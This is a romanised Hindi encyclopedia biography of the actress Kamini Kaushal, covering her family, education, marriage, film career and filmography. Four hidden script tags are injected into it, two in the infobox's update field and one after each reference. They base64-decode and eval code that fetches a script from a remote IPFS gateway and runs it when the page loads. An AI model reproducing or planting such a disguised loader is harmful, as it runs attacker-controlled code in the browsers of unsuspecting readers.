कामिनी कौशल
kamini kaushal
| |
| poora nam | kamini kaushal |
| any nam | uma kashyap |
| janm | 16 janavari, 1927 |
| janm bhoomi | lahaur, panjab, british bharat |
| abhibhavak | shivaram kashyap |
| pati/patni | brahmasvaroop sood |
| karm bhoomi | bharat |
| karm-kshetr | abhinetri |
| mukhy filmean | 'jelayatra', 'jiddi', 'nicha nagar', 'biraj bahoo', 'hiralal pannalal', 'poorab aur pashchim', 'laga chunari mean dag', 'shahid' adi. |
| shiksha | bi.e. aaunars (aangrezi) |
| vidyalay | 'ledi maikaklaigan haeeskool', 'kinneyard k aaulej', lahaur |
| puraskar-upadhi | film 'biraj bahoo' ke lie sarvashreshth abhinetri ka 'film feyar puraskar'. |
| nagarikata | bharatiy |
| sanbandhit lekh | chetan anand, dilip kumar |
| vishesh | varsh 1946 mean bani film 'nicha nagar' ke sangitakar pandit ravishankar the. 'kaans film samaroh' mean shamil hone aur puraskar hasil karane vali ye pahali bharatiy film thi. |
| any janakari | prasiddh nirdeshak chetan anand ne kamini kaushal ko unake asali nam 'uma kashyap' ki jagah filmi nam 'kamini kaushal' diya tha. age chalakar ve isi filmi nam se mashahoor hueean. |
| adyatan | 18:07, 22 sitambar 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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kamini kaushal (aangrezi: Kamini Kaushal; vastavik nam- 'uma kashyap', janm- 16 janavari, 1927, lahaur, panjab, british bharat) hindi filmoan ki ek aisi abhinetri aur tivi kalakar, jisane apani shalinata se sabhi ka dil jit liya. inaka vastavik nam 'uma kashyap' tha. filmi nam 'kamini kaushal' chetan anand ne diya aur isi nam se ye jani geean. yooan to kamini kaushal ne kee yadagar filmean di haian, kiantu film 'nicha nagar' (1946) aur 'biraj bahoo' (1955) mean nibhaee gee bhoomika ke lie unhean khasataur par jana jata hai. in filmoan mean nibhaee gee bhoomika ke lie kamini kaushal ko puraskar bhi prapt hue the. apane samay ke khyati prapt abhineta dilip kumar aur raj kapoor ke sath kee filmean kar chukian kamini kaushal ne tivi ki duniya mean kee dharavahikoan mean bhi kary kiya hai.
janm tatha parivar
kamini kaushal ka janm 16 janavari, san 1927 mean british bharat ke lahaur (panjab) mean hua tha. kamini ke pita profesar shivaram kashyap aantarrashtriy star ke jane-mane vanaspati shastri the aur lahaur ke hi 'gavarnameant k aaulej' mean padhate the. lahaur ke mashahoor 'b aautainikal gardan' ke sansthapak hone ke sath-sath ve saeeans kaangres ke adhyaksh bhi the. do bhaee aur tin bahanoan mean sabase chhoti kamini kaushal ke b de bhaee d aauktar ke. en. kashyap bataur sarjan kee saloan tak pi. ji. aee. chandigadh se ju de rahe. unake chhote bhaee karnal e. en. kashyap ko doosare vishvayuddh ke dauran japan mean yuddh bandi bana liya gaya tha aur ve char sal bad achanak tab vapas laute the, jab parivar ki ummidean lagabhag samapt ho gee thian.[1]
shiksha
kamini kaushal ka parivar lahaur ke chauburji ilaqe mean rahata tha. 'ledi maikaklaigan haeeskool' se unhoanne apani skooli shiksha poori ki thi. isake bad 'kinneyard k aaulej' se aangrezi mean bi.e. aaunars kiya. inake parivar ka mahaul kafi khula hua tha. kamini kaushal bachapan se hi rediyo natakoan mean hissa leti thi, isake atirikt ghu dasavari, tairaki aur saeekliang bhi karati thian.
vivah
kamini kaushal ki bahan ki asamayik hi mrityu ho gee thi, jis karan apani bhtijiyoan ke bhavishy ki chianta unhean thi. apani bhatijiyoan ke bhavishy ko dhyan mean rakhate hue hi kamini kaushal ne apane jija brahmasvaroop sood se vivah kar liya aur muanbee a geean. brahmasvaroop sood port trast mean kam karate the. unhoanne kamini ko philmoan mean kam karane ki poori azadi de di thi.
filmi shuruat
us samay filmoan mean kam karana achchha nahian mana jata tha. chetan anand kamini ke b de bhaee ke qaribi dost the aur un dinoan apani pahali film 'nicha nagar' ki taiyariyoan mean lage hue the. ek roz unhoanne rediyo natak sunakar kamini ko apani film ki mukhy bhoomika ke lie lena chaha, kiantu kamini ne saph iankar kar diya. chetan anand se unaki agali mulaqat muanbee mean huee, jahaan vah apani vivahita b di bahan ke ghar ayi huee thian. chetan anand ne ek bar phir se un par apani film mean kam karane ke lie dabav dala, jisake lie apane b de bhaee ke kahane par kamini kaushal ko haan karana p da. chooanki chetan anand ki patni uma anand bhi us film mean ek aham bhoomika kar rahi thian, isalie chetan anand ne kamini kaushal ko unake asali nam uma kashyap ki jagah filmi nam kamini kaushal diya tha. age chalakar ve isi filmi nam se mashahoor hueean.[1]
mumbee agaman
varsh 1946 mean bani film 'nicha nagar' ke sangitakar pandit ravishankar the. 'kaans film samaroh' mean shamil hone aur puraskar hasil karane vali ye pahali bharatiy film thi. kamini kaushal ke anusar- "tamam tarifean batorane ke bavajood shurooat mean ye film bik nahian paee thi. lekin jab age chalakar mera tho da nam hua aur is film mean do gane dale ge, tab kahian ye film pradarshit ho paee thi. lekin usake bad jitane bhi prastav mujhe mile, un sabhi ko thukarakar maian vapas lahaur laut gayi. us samay tak maianne mushkil se char-paanch hi filmean dekhi hoangi, jinamean se 'prabhat film kanpani, pune' ki gajanan jagiradar nirdeshit film 'ramashastri' mujhe behad pasand ayi thi. isilie jab gajanan jagiradar ne apane prodakshan ki film 'jelayatra' ke lie mujhase sanpark kiya to maian iankar nahian kar payi aur mujhe sthayi roop se muanbee a jana p da".[1] kee log yah bhi kahate haian ki b di bahan ke achanak guzar jane ke bad unaki do chhoti betiyoan ki dekhabhal ke lie kamini kaushal ko 1947 mean apane jija brahmasvaroop sood se shadi karani p di thi aur isilie ve shadi ke bad sthayi taur par muanbee aee thian.
prasiddh kalakaroan ke kary
thumb|left|150px|kamini kaushal 1947 mean bani film 'jelayatra' mean kamini kaushal ke nayak raj kapoor the, jinaki bataur nirmata-nirdeshak pahali film 'ag' (1948) mean bhi kamini kaushal ne ek aham bhoomika ki. 'filmistan stoodiyo' ki film 'do bhaee' (1947) mean kamini kaushal ke nayak ulhas the to isi bainar ki 'shahid' aur 'nadiya ke par' (1948) mean dilip kumar. in sabhi filmoan mean kamini kaushal ke lie parshvagayan shamashad begam, gita datt, lalita deoolakar aur suriandar kaur ne kiya tha. 'b aaumbe t aaukiz' ki khemachand prakash dvara sangitabaddh film 'ziddi' (1948) mean unake lie lata mangeshakar ne pahali bar gane gae the. bataur gayak kishor kumar ki bhi ye pahali film thi, jisamean unhoanne mali ki ek chhoti si bhoomika bhi ki thi. isake bad agale das varshoan mean kamini kaushal ne 'namoona', 'shabanam', 'shayar' (sabhi 1949), 'arazoo' (1950), 'bikhare moti' (1951), 'poonam' (1952), 'aansoo', 'as', 'shahanshah' (sabhi 1953), 'biraj bahoo', 'chalis baba ek chor', 'sangam' (sabhi 1954), 'abaroo' (1956), 'b da bhaee', 'b de sarakar' (donoan 1957), 'jelar', 'naeet klab' (donoan 1958) aur 'baiank mainejar' (1959) jaisi kul milakar 33 filmoan mean mukhy bhoomikaean nibhaeean.[1]
prem prasang
dilip kumar ke sath do abhinetriyoan ke prem prasang ki batean bhi kafi u dian. in abhinetriyoan mean ek thian 'kamini kaushal' aur doosari 'madhubala'. 1948 aur 1950 ke bich dilip kumar aur kamini kaushal ne char philmoan mean sath kam kiya tha. inamean 'shahid' ke alava any tin philmean 'nadiya ke par', 'shabanam', aur 'arajoo' thian. darshakoan ko in philmoan ke pranay drishy dekhakar hi inake bich paraspar prem ka ahasas ho jata tha. tab kamini kaushal aur dilip kumar donoan hi philmi kariyar ki buniyad dal rahe the. kamini kaushal byahata thian, jinhoanne bahan ke nidhan ke bad apane jija brahmasvaroop sood se vivah kiya tha. inake pati ne filmoan mean kam karane ki azadi di thi, lekin prem ki ijajat bhala kaise dete. dilip aur kamini ne apane prem ko dabaya aur varshoan tak ek-doosare ke samane bhi nahian ae.[2] [[chitr:Dilip-Kumara-&-Kamini-Kausal.jpg|thumb|300px|dilip kumar aur kamili kaushal]]
film nirman
'ke arts' ke bainar mean bani film 'poonam' aur 'chalis baba ek chor' ka nirman kamini kaushal ne hi kiya tha. film 'biraj bahoo' ke lie unhoanne sarvashreshth abhinetri ka 'film feyar puraskar' jita tha. film 'baiank mainejar' ke bad unhean ghareloo vajahoan se kuchh saloan ke lie filmoan se alag ho jana p da. qarib paanch sal bad kamini kaushal abhineta rajakumar ke sath nirmata-nirdeshak trilok jetali ki film 'godan' (1963) mean nazar ayian. is film ka sangit bhi pandit ravishankar ne taiyar kiya tha. ye kamini kaushal ki bataur nayika akhiri pradarshit film thi.
charitr abhinetri
bataur charitr abhinetri kamini kaushal ke doosare filmi safar ki shuruat varsh 1965 mean bani film 'shahid' se huee. is film mean ve abhineta manoj kumar dvara abhinit saradar bhagat sianh ki maan ki bhoomika mean nazar ayi thian. film 'shahid' ki jabardast kamayabi ke bad unhoanne manoj kumar ki lagabhag sabhi filmoan mean unaki maan ki bhoomika ki. kamini kaushal bataur charitr abhinetri 40 se bhi zyada saloan tak sakriy rahian. abhinay ke is doosare daur mean unhoanne 60 se zyada filmoan, 1980 ke dashak ke madhy mean bane aangrezi dharavahik 'jvail in d kraoon' aur "vaqt ki raftar', 'ooparavali gharavali', 'sanjivani', 'shanno ki shadi' jaise kuchh hindi dharavahikoan mean abhinay kiya. 2007 mean bani 'laga chunari mean dag' kamini kaushal ki abhi tak ki akhiri hindi film hai. 2008 mean landan mean bani unaki ek aangrezi film 'd skvayar root 2' bhi pradarshit huee thi.
mukhy philmean
| varsh | film | varsh | film | varsh | film |
|---|---|---|---|---|---|
| 2007 | laga chunari mean dag | 2003 | chori chori | 2000 | har dil jo pyar karega |
| 1992 | hamashakl | 1989 | santosh | 1987 | jalava |
| 1984 | d jvail in d kraun | 1983 | peantar baboo | 1981 | khuda kasam |
| 1980 | takkar | 1979 | bagula bhagat | 1978 | hiralal pannalal |
| 1978 | ahooti | 1978 | dil aur divar | 1978 | svarg nark |
| 1977 | chaandi sona | 1976 | maha chor | 1976 | das nambari |
| 1976 | bhanvar | 1975 | do jhooth | 1975 | kaid |
| 1975 | sannyasi | 1974 | roti kap da aur makan | 1974 | prem nagar |
| 1973 | anahoni | 1973 | jaise ko taisa | 1972 | shor |
| 1972 | taangevala | 1971 | upahar | 1971 | bikhare moti |
| 1970 | yadagar | 1970 | poorab aur pashchim | 1970 | ishk par zor nahian |
| 1969 | vishvas nina | 1969 | meri bhabhi | 1969 | ek shriman ek shrimati |
| 1969 | do raste | 1969 | varis | 1965 | shahid |
| 1954 | biraj bahoo | 1953 | chalis baba ek chor | 1953 | as |
| 1952 | poonam | 1949 | paras | 1949 | shair |
| 1949 | shayar | 1948 | ag | 1948 | ziddi |
| 1947 | jel yatra |
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 bite hue din (hindi). . abhigaman tithi: 22 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ dilip kumar-ek mahanayak ki gatha (hindi). . abhigaman tithi: 22 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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